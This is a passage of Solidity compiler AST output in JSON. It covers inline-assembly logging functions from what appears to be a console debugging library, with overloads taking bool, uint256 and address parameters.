rc":"39806:6:22"},"nativeSrc":"39806:16:22","nodeType":"YulFunctionCall","src":"39806:16:22"},"nativeSrc":"39806:16:22","nodeType":"YulExpressionStatement","src":"39806:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34968,"isOffset":false,"isSlot":false,"src":"39535:2:22","valueSize":1},{"declaration":34971,"isOffset":false,"isSlot":false,"src":"39565:2:22","valueSize":1},{"declaration":34974,"isOffset":false,"isSlot":false,"src":"39595:2:22","valueSize":1},{"declaration":34977,"isOffset":false,"isSlot":false,"src":"39625:2:22","valueSize":1},{"declaration":34960,"isOffset":false,"isSlot":false,"src":"39761:2:22","valueSize":1},{"declaration":34962,"isOffset":false,"isSlot":false,"src":"39790:2:22","valueSize":1},{"declaration":34964,"isOffset":false,"isSlot":false,"src":"39819:2:22","valueSize":1}],"id":34979,"nodeType":"InlineAssembly","src":"39512:320:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34981,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"39857:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783634","id":34982,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"39863:4:22","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"0x64"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"id":34980,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"39841:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34983,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"39841:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34984,"nodeType":"ExpressionStatement","src":"39841:27:22"},{"AST":{"nativeSrc":"39887:127:22","nodeType":"YulBlock","src":"39887:127:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"39908:4:22","nodeType":"YulLiteral","src":"39908:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"39914:2:22","nodeType":"YulIdentifier","src":"39914:2:22"}],"functionName":{"name":"mstore","nativeSrc":"39901:6:22","nodeType":"YulIdentifier","src":"39901:6:22"},"nativeSrc":"39901:16:22","nodeType":"YulFunctionCall","src":"39901:16:22"},"nativeSrc":"39901:16:22","nodeType":"YulExpressionStatement","src":"39901:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"39937:4:22","nodeType":"YulLiteral","src":"39937:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"39943:2:22","nodeType":"YulIdentifier","src":"39943:2:22"}],"functionName":{"name":"mstore","nativeSrc":"39930:6:22","nodeType":"YulIdentifier","src":"39930:6:22"},"nativeSrc":"39930:16:22","nodeType":"YulFunctionCall","src":"39930:16:22"},"nativeSrc":"39930:16:22","nodeType":"YulExpressionStatement","src":"39930:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"39966:4:22","nodeType":"YulLiteral","src":"39966:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"39972:2:22","nodeType":"YulIdentifier","src":"39972:2:22"}],"functionName":{"name":"mstore","nativeSrc":"39959:6:22","nodeType":"YulIdentifier","src":"39959:6:22"},"nativeSrc":"39959:16:22","nodeType":"YulFunctionCall","src":"39959:16:22"},"nativeSrc":"39959:16:22","nodeType":"YulExpressionStatement","src":"39959:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"39995:4:22","nodeType":"YulLiteral","src":"39995:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"40001:2:22","nodeType":"YulIdentifier","src":"40001:2:22"}],"functionName":{"name":"mstore","nativeSrc":"39988:6:22","nodeType":"YulIdentifier","src":"39988:6:22"},"nativeSrc":"39988:16:22","nodeType":"YulFunctionCall","src":"39988:16:22"},"nativeSrc":"39988:16:22","nodeType":"YulExpressionStatement","src":"39988:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34968,"isOffset":false,"isSlot":false,"src":"39914:2:22","valueSize":1},{"declaration":34971,"isOffset":false,"isSlot":false,"src":"39943:2:22","valueSize":1},{"declaration":34974,"isOffset":false,"isSlot":false,"src":"39972:2:22","valueSize":1},{"declaration":34977,"isOffset":false,"isSlot":false,"src":"40001:2:22","valueSize":1}],"id":34985,"nodeType":"InlineAssembly","src":"39878:136:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"39371:3:22","parameters":{"id":34965,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34960,"mutability":"mutable","name":"p0","nameLocation":"39380:2:22","nodeType":"VariableDeclaration","scope":34987,"src":"39375:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":34959,"name":"bool","nodeType":"ElementaryTypeName","src":"39375:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":34962,"mutability":"mutable","name":"p1","nameLocation":"39392:2:22","nodeType":"VariableDeclaration","scope":34987,"src":"39384:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":34961,"name":"uint256","nodeType":"ElementaryTypeName","src":"39384:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":34964,"mutability":"mutable","name":"p2","nameLocation":"39404:2:22","nodeType":"VariableDeclaration","scope":34987,"src":"39396:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34963,"name":"address","nodeType":"ElementaryTypeName","src":"39396:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"39374:33:22"},"returnParameters":{"id":34966,"nodeType":"ParameterList","parameters":[],"src":"39422:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":35016,"nodeType":"FunctionDefinition","src":"40026:652:22","nodes":[],"body":{"id":35015,"nodeType":"Block","src":"40083:595:22","nodes":[],"statements":[{"assignments":[34997],"declarations":[{"constant":false,"id":34997,"mutability":"mutable","name":"m0","nameLocation":"40101:2:22","nodeType":"VariableDeclaration","scope":35015,"src":"40093:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34996,"name":"bytes32","nodeType":"ElementaryTypeName","src":"40093:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34998,"nodeType":"VariableDeclarationStatement","src":"40093:10:22"},{"assignments":[35000],"declarations":[{"constant":false,"id":35000,"mutability":"mutable","name":"m1","nameLocation":"40121:2:22","nodeType":"VariableDeclaration","scope":35015,"src":"40113:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34999,"name":"bytes32","nodeType":"ElementaryTypeName","src":"40113:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35001,"nodeType":"VariableDeclarationStatement","src":"40113:10:22"},{"assignments":[35003],"declarations":[{"constant":false,"id":35003,"mutability":"mutable","name":"m2","nameLocation":"40141:2:22","nodeType":"VariableDeclaration","scope":35015,"src":"40133:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35002,"name":"bytes32","nodeType":"ElementaryTypeName","src":"40133:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35004,"nodeType":"VariableDeclarationStatement","src":"40133:10:22"},{"assignments":[35006],"declarations":[{"constant":false,"id":35006,"mutability":"mutable","name":"m3","nameLocation":"40161:2:22","nodeType":"VariableDeclaration","scope":35015,"src":"40153:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35005,"name":"bytes32","nodeType":"ElementaryTypeName","src":"40153:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35007,"nodeType":"VariableDeclarationStatement","src":"40153:10:22"},{"AST":{"nativeSrc":"40182:308:22","nodeType":"YulBlock","src":"40182:308:22","statements":[{"nativeSrc":"40196:17:22","nodeType":"YulAssignment","src":"40196:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"40208:4:22","nodeType":"YulLiteral","src":"40208:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"40202:5:22","nodeType":"YulIdentifier","src":"40202:5:22"},"nativeSrc":"40202:11:22","nodeType":"YulFunctionCall","src":"40202:11:22"},"variableNames":[{"name":"m0","nativeSrc":"40196:2:22","nodeType":"YulIdentifier","src":"40196:2:22"}]},{"nativeSrc":"40226:17:22","nodeType":"YulAssignment","src":"40226:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"40238:4:22","nodeType":"YulLiteral","src":"40238:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"40232:5:22","nodeType":"YulIdentifier","src":"40232:5:22"},"nativeSrc":"40232:11:22","nodeType":"YulFunctionCall","src":"40232:11:22"},"variableNames":[{"name":"m1","nativeSrc":"40226:2:22","nodeType":"YulIdentifier","src":"40226:2:22"}]},{"nativeSrc":"40256:17:22","nodeType":"YulAssignment","src":"40256:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"40268:4:22","nodeType":"YulLiteral","src":"40268:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"40262:5:22","nodeType":"YulIdentifier","src":"40262:5:22"},"nativeSrc":"40262:11:22","nodeType":"YulFunctionCall","src":"40262:11:22"},"variableNames":[{"name":"m2","nativeSrc":"40256:2:22","nodeType":"YulIdentifier","src":"40256:2:22"}]},{"nativeSrc":"40286:17:22","nodeType":"YulAssignment","src":"40286:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"40298:4:22","nodeType":"YulLiteral","src":"40298:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"40292:5:22","nodeType":"YulIdentifier","src":"40292:5:22"},"nativeSrc":"40292:11:22","nodeType":"YulFunctionCall","src":"40292:11:22"},"variableNames":[{"name":"m3","nativeSrc":"40286:2:22","nodeType":"YulIdentifier","src":"40286:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"40376:4:22","nodeType":"YulLiteral","src":"40376:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"40382:10:22","nodeType":"YulLiteral","src":"40382:10:22","type":"","value":"0xe8defba9"}],"functionName":{"name":"mstore","nativeSrc":"40369:6:22","nodeType":"YulIdentifier","src":"40369:6:22"},"nativeSrc":"40369:24:22","nodeType":"YulFunctionCall","src":"40369:24:22"},"nativeSrc":"40369:24:22","nodeType":"YulExpressionStatement","src":"40369:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"40413:4:22","nodeType":"YulLiteral","src":"40413:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"40419:2:22","nodeType":"YulIdentifier","src":"40419:2:22"}],"functionName":{"name":"mstore","nativeSrc":"40406:6:22","nodeType":"YulIdentifier","src":"40406:6:22"},"nativeSrc":"40406:16:22","nodeType":"YulFunctionCall","src":"40406:16:22"},"nativeSrc":"40406:16:22","nodeType":"YulExpressionStatement","src":"40406:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"40442:4:22","nodeType":"YulLiteral","src":"40442:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"40448:2:22","nodeType":"YulIdentifier","src":"40448:2:22"}],"functionName":{"name":"mstore","nativeSrc":"40435:6:22","nodeType":"YulIdentifier","src":"40435:6:22"},"nativeSrc":"40435:16:22","nodeType":"YulFunctionCall","src":"40435:16:22"},"nativeSrc":"40435:16:22","nodeType":"YulExpressionStatement","src":"40435:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"40471:4:22","nodeType":"YulLiteral","src":"40471:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"40477:2:22","nodeType":"YulIdentifier","src":"40477:2:22"}],"functionName":{"name":"mstore","nativeSrc":"40464:6:22","nodeType":"YulIdentifier","src":"40464:6:22"},"nativeSrc":"40464:16:22","nodeType":"YulFunctionCall","src":"40464:16:22"},"nativeSrc":"40464:16:22","nodeType":"YulExpressionStatement","src":"40464:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34997,"isOffset":false,"isSlot":false,"src":"40196:2:22","valueSize":1},{"declaration":35000,"isOffset":false,"isSlot":false,"src":"40226:2:22","valueSize":1},{"declaration":35003,"isOffset":false,"isSlot":false,"src":"40256:2:22","valueSize":1},{"declaration":35006,"isOffset":false,"isSlot":false,"src":"40286:2:22","valueSize":1},{"declaration":34989,"isOffset":false,"isSlot":false,"src":"40419:2:22","valueSize":1},{"declaration":34991,"isOffset":false,"isSlot":false,"src":"40448:2:22","valueSize":1},{"declaration":34993,"isOffset":false,"isSlot":false,"src":"40477:2:22","valueSize":1}],"id":35008,"nodeType":"InlineAssembly","src":"40173:317:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":35010,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"40515:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783634","id":35011,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"40521:4:22","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"0x64"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"id":35009,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"40499:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":35012,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"40499:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":35013,"nodeType":"ExpressionStatement","src":"40499:27:22"},{"AST":{"nativeSrc":"40545:127:22","nodeType":"YulBlock","src":"40545:127:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"40566:4:22","nodeType":"YulLiteral","src":"40566:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"40572:2:22","nodeType":"YulIdentifier","src":"40572:2:22"}],"functionName":{"name":"mstore","nativeSrc":"40559:6:22","nodeType":"YulIdentifier","src":"40559:6:22"},"nativeSrc":"40559:16:22","nodeType":"YulFunctionCall","src":"40559:16:22"},"nativeSrc":"40559:16:22","nodeType":"YulExpressionStatement","src":"40559:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"40595:4:22","nodeType":"YulLiteral","src":"40595:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"40601:2:22","nodeType":"YulIdentifier","src":"40601:2:22"}],"functionName":{"name":"mstore","nativeSrc":"40588:6:22","nodeType":"YulIdentifier","src":"40588:6:22"},"nativeSrc":"40588:16:22","nodeType":"YulFunctionCall","src":"40588:16:22"},"nativeSrc":"40588:16:22","nodeType":"YulExpressionStatement","src":"40588:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"40624:4:22","nodeType":"YulLiteral","src":"40624:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"40630:2:22","nodeType":"YulIdentifier","src":"40630:2:22"}],"functionName":{"name":"mstore","nativeSrc":"40617:6:22","nodeType":"YulIdentifier","src":"40617:6:22"},"nativeSrc":"40617:16:22","nodeType":"YulFunctionCall","src":"40617:16:22"},"nativeSrc":"40617:16:22","nodeType":"YulExpressionStatement","src":"40617:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"40653:4:22","nodeType":"YulLiteral","src":"40653:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"40659:2:22","nodeType":"YulIdentifier","src":"40659:2:22"}],"functionName":{"name":"mstore","nativeSrc":"40646:6:22","nodeType":"YulIdentifier","src":"40646:6:22"},"nativeSrc":"40646:16:22","nodeType":"YulFunctionCall","src":"40646:16:22"},"nativeSrc":"40646:16:22","nodeType":"YulExpressionStatement","src":"40646:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34997,"isOffset":false,"isSlot":false,"src":"40572:2:22","valueSize":1},{"declaration":35000,"isOffset":false,"isSlot":false,"src":"40601:2:22","valueSize":1},{"declaration":35003,"isOffset":false,"isSlot":false,"src":"40630:2:22","valueSize":1},{"declaration":35006,"isOffset":false,"isSlot":false,"src":"40659:2:22","valueSize":1}],"id":35014,"nodeType":"InlineAssembly","src":"40536:136:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"40035:3:22","parameters":{"id":34994,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34989,"mutability":"mutable","name":"p0","nameLocation":"40044:2:22","nodeType":"VariableDeclaration","scope":35016,"src":"40039:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":34988,"name":"bool","nodeType":"ElementaryTypeName","src":"40039:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":34991,"mutability":"mutable","name":"p1","nameLocation":"40056:2:22","nodeType":"VariableDeclaration","scope":35016,"src":"40048:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":34990,"name":"uint256","nodeType":"ElementaryTypeName","src":"40048:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":34993,"mutability":"mutable","name":"p2","nameLocation":"40065:2:22","nodeType":"VariableDeclaration","scope":35016,"src":"40060:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":34992,"name":"bool","nodeType":"ElementaryTypeName","src":"40060:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"40038:30:22"},"returnParameters":{"id":34995,"nodeType":"ParameterList","parameters":[],"src":"40083:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":35045,"nodeType":"FunctionDefinition","src":"40684:658:22","nodes":[],"body":{"id":35044,"nodeType":"Block","src":"40744:598:22","nodes":[],"statements":[{"assignments":[35026],"declarations":[{"constant":false,"id":35026,"mutability":"mutable","name":"m0","nameLocation":"40762:2:22","nodeType":"VariableDeclaration","scope":35044,"src":"40754:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35025,"name":"bytes32","nodeType":"ElementaryTypeName","src":"40754:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35027,"nodeType":"VariableDeclarationStatement","src":"40754:10:22"},{"assignments":[35029],"declarations":[{"constant":false,"id":35029,"mutability":"mutable","name":"m1","nameLocation":"40782:2:22","nodeType":"VariableDeclaration","scope":35044,"src":"40774:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35028,"name":"bytes32","nodeType":"ElementaryTypeName","src":"40774:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35030,"nodeType":"VariableDeclarationStatement","src":"40774:10:22"},{"assignments":[35032],"declarations":[{"constant":false,"id":35032,"mutability":"mutable","name":"m2","nameLocation":"40802:2:22","nodeType":"VariableDeclaration","scope":35044,"src":"40794:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35031,"name":"bytes32","nodeType":"ElementaryTypeName","src":"40794:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35033,"nodeType":"VariableDeclarationStatement","src":"40794:10:22"},{"assignments":[35035],"declarations":[{"constant":false,"id":35035,"mutability":"mutable","name":"m3","nameLocation":"40822:2:22","nodeType":"VariableDeclaration","scope":35044,"src":"40814:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35034,"name":"bytes32","nodeType":"ElementaryTypeName","src":"40814:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35036,"nodeType":"VariableDeclarationStatement","src":"40814:10:22"},{"AST":{"nativeSrc":"40843:311:22","nodeType":"YulBlock","src":"40843:311:22","statements":[{"nativeSrc":"40857:17:22","nodeType":"YulAssignment","src":"40857:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"40869:4:22","nodeType":"YulLiteral","src":"40869:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"40863:5:22","nodeType":"YulIdentifier","src":"40863:5:22"},"nativeSrc":"40863:11:22","nodeType":"YulFunctionCall","src":"40863:11:22"},"variableNames":[{"name":"m0","nativeSrc":"40857:2:22","nodeType":"YulIdentifier","src":"40857:2:22"}]},{"nativeSrc":"40887:17:22","nodeType":"YulAssignment","src":"40887:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"40899:4:22","nodeType":"YulLiteral","src":"40899:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"40893:5:22","nodeType":"YulIdentifier","src":"40893:5:22"},"nativeSrc":"40893:11:22","nodeType":"YulFunctionCall","src":"40893:11:22"},"variableNames":[{"name":"m1","nativeSrc":"40887:2:22","nodeType":"YulIdentifier","src":"40887:2:22"}]},{"nativeSrc":"40917:17:22","nodeType":"YulAssignment","src":"40917:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"40929:4:22","nodeType":"YulLiteral","src":"40929:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"40923:5:22","nodeType":"YulIdentifier","src":"40923:5:22"},"nativeSrc":"40923:11:22","nodeType":"YulFunctionCall","src":"40923:11:22"},"variableNames":[{"name":"m2","nativeSrc":"40917:2:22","nodeType":"YulIdentifier","src":"40917:2:22"}]},{"nativeSrc":"40947:17:22","nodeType":"YulAssignment","src":"40947:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"40959:4:22","nodeType":"YulLiteral","src":"40959:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"40953:5:22","nodeType":"YulIdentifier","src":"40953:5:22"},"nativeSrc":"40953:11:22","nodeType":"YulFunctionCall","src":"40953:11:22"},"variableNames":[{"name":"m3","nativeSrc":"40947:2:22","nodeType":"YulIdentifier","src":"40947:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"41040:4:22","nodeType":"YulLiteral","src":"41040:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"41046:10:22","nodeType":"YulLiteral","src":"41046:10:22","type":"","value":"0x37103367"}],"functionName":{"name":"mstore","nativeSrc":"41033:6:22","nodeType":"YulIdentifier","src":"41033:6:22"},"nativeSrc":"41033:24:22","nodeType":"YulFunctionCall","src":"41033:24:22"},"nativeSrc":"41033:24:22","nodeType":"YulExpressionStatement","src":"41033:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"41077:4:22","nodeType":"YulLiteral","src":"41077:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"41083:2:22","nodeType":"YulIdentifier","src":"41083:2:22"}],"functionName":{"name":"mstore","nativeSrc":"41070:6:22","nodeType":"YulIdentifier","src":"41070:6:22"},"nativeSrc":"41070:16:22","nodeType":"YulFunctionCall","src":"41070:16:22"},"nativeSrc":"41070:16:22","nodeType":"YulExpressionStatement","src":"41070:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"41106:4:22","nodeType":"YulLiteral","src":"41106:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"41112:2:22","nodeType":"YulIdentifier","src":"41112:2:22"}],"functionName":{"name":"mstore","nativeSrc":"41099:6:22","nodeType":"YulIdentifier","src":"41099:6:22"},"nativeSrc":"41099:16:22","nodeType":"YulFunctionCall","src":"41099:16:22"},"nativeSrc":"41099:16:22","nodeType":"YulExpressionStatement","src":"41099:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"41135:4:22","nodeType":"YulLiteral","src":"41135:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"41141:2:22","nodeType":"YulIdentifier","src":"41141:2:22"}],"functionName":{"name":"mstore","nativeSrc":"41128:6:22","nodeType":"YulIdentifier","src":"41128:6:22"},"nativeSrc":"41128:16:22","nodeType":"YulFunctionCall","src":"41128:16:22"},"nativeSrc":"41128:16:22","nodeType":"YulExpressionStatement","src":"41128:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35026,"isOffset":false,"isSlot":false,"src":"40857:2:22","valueSize":1},{"declaration":35029,"isOffset":false,"isSlot":false,"src":"40887:2:22","valueSize":1},{"declaration":35032,"isOffset":false,"isSlot":false,"src":"40917:2:22","valueSize":1},{"declaration":35035,"isOffset":false,"isSlot":false,"src":"40947:2:22","valueSize":1},{"declaration":35018,"isOffset":false,"isSlot":false,"src":"41083:2:22","valueSize":1},{"declaration":35020,"isOffset":false,"isSlot":false,"src":"41112:2:22","valueSize":1},{"declaration":35022,"isOffset":false,"isSlot":false,"src":"41141:2:22","valueSize":1}],"id":35037,"nodeType":"InlineAssembly","src":"40834:320:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":35039,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"41179:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783634","id":35040,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"41185:4:22","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"0x64"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"id":35038,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"41163:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":35041,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"41163:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":35042,"nodeType":"ExpressionStatement","src":"41163:27:22"},{"AST":{"nativeSrc":"41209:127:22","nodeType":"YulBlock","src":"41209:127:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"41230:4:22","nodeType":"YulLiteral","src":"41230:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"41236:2:22","nodeType":"YulIdentifier","src":"41236:2:22"}],"functionName":{"name":"mstore","nativeSrc":"41223:6:22","nodeType":"YulIdentifier","src":"41223:6:22"},"nativeSrc":"41223:16:22","nodeType":"YulFunctionCall","src":"41223:16:22"},"nativeSrc":"41223:16:22","nodeType":"YulExpressionStatement","src":"41223:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"41259:4:22","nodeType":"YulLiteral","src":"41259:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"41265:2:22","nodeType":"YulIdentifier","src":"41265:2:22"}],"functionName":{"name":"mstore","nativeSrc":"41252:6:22","nodeType":"YulIdentifier","src":"41252:6:22"},"nativeSrc":"41252:16:22","nodeType":"YulFunctionCall","src":"41252:16:22"},"nativeSrc":"41252:16:22","nodeType":"YulExpressionStatement","src":"41252:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"41288:4:22","nodeType":"YulLiteral","src":"41288:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"41294:2:22","nodeType":"YulIdentifier","src":"41294:2:22"}],"functionName":{"name":"mstore","nativeSrc":"41281:6:22","nodeType":"YulIdentifier","src":"41281:6:22"},"nativeSrc":"41281:16:22","nodeType":"YulFunctionCall","src":"41281:16:22"},"nativeSrc":"41281:16:22","nodeType":"YulExpressionStatement","src":"41281:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"41317:4:22","nodeType":"YulLiteral","src":"41317:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"41323:2:22","nodeType":"YulIdentifier","src":"41323:2:22"}],"functionName":{"name":"mstore","nativeSrc":"41